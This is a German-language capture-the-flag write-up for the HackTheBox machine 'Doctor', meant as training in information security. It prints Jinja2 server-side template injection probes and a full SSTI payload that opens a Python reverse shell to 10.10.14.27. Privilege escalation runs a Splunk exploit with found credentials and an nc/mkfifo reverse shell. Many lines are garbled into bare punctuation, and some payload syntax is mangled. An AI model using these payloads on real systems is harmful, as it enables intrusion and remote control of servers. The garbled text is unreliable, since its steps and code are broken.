Ich veröffentliche weiterhin Lösungen, die zur Finalisierung von Maschinen von der HackTheBox- Plattform gesendet wurden . Ich hoffe, dies wird zumindest jemandem helfen, sich im Bereich der Informationssicherheit zu entwickeln.
Die Verbindung zum Labor erfolgt über VPN. Es wird empfohlen, keine Verbindung von einem Arbeitscomputer oder einem Host herzustellen, auf dem wichtige Daten für Sie vorhanden sind, da Sie sich in einem privaten Netzwerk mit Personen befinden, die etwas über Informationssicherheit wissen :)
Organisationsinformationen
Recon
IP 10.10.10.209, /etc/hosts.
10.10.10.209 doctor.htb
. , - :
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1
.
/etc/hosts.
10.10.10.209 doctors.htb
, .
Entry Point
.
, .
.
, , XSS.
, .
, <item><title>. , .
, .
XSS, , SSTI. .
:
</title></item>{{77}}
</title></item>{{7'7'}}
</title></item>{{config.items()}}
. SSTI , :
{% for x in ().class.base.subclasses() %}
{% if "warning" in x.name %}
{{x().module.builtins'import'.popen("").read().zfill(417)}}
{%endif%}{% endfor %}
:
import socket,subprocess,os;
s=socket.socket(socket.AFINET,socket.SOCKSTREAM);
s.connect(("10.10.14.27",4321));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/bash", "-i"]);
. :
</title></item>{% for x in ().class.base.subclasses() %}{% if "warning" in x.name %}{{x().module.builtins'import'.popen("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AFINET,socket.SOCKSTREAM);s.connect((\"10.10.14.27\",4321));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/bash\", \"-i\"]);'").read().zfill(417)}}{%endif%}{% endfor %}
USER
adm, . Apache pas, secret ..
Und wir finden eine interessante Zeichenfolge, die das Passwort des Benutzers ist.
Nachdem wir nun über die Anmeldeinformationen verfügen, versuchen wir, die Berechtigungen zu erhöhen, indem wir den Splunk-Dienst ausnutzen, der auf Port 8089 ausgeführt wird. Wir werden diesen Exploit verwenden (https://github.com/cnotin/SplunkWhisperer2/tree/master/PySplunkWhisperer2).
python3 PySplunkWhisperer2_remote.py --lhost 10.10.14.27 --host 10.10.10.209 --username shaun --password Guitar123 --payload '/bin/bash -c "rm /tmp/r.r;mkfifo /tmp/r.r;cat /tmp/r.r|/bin/sh -i 2>&1|nc 10.10.14.27 5432 >/tmp/r.r"'
Und wir bekommen eine Rückverbindung zu unserem Hörer.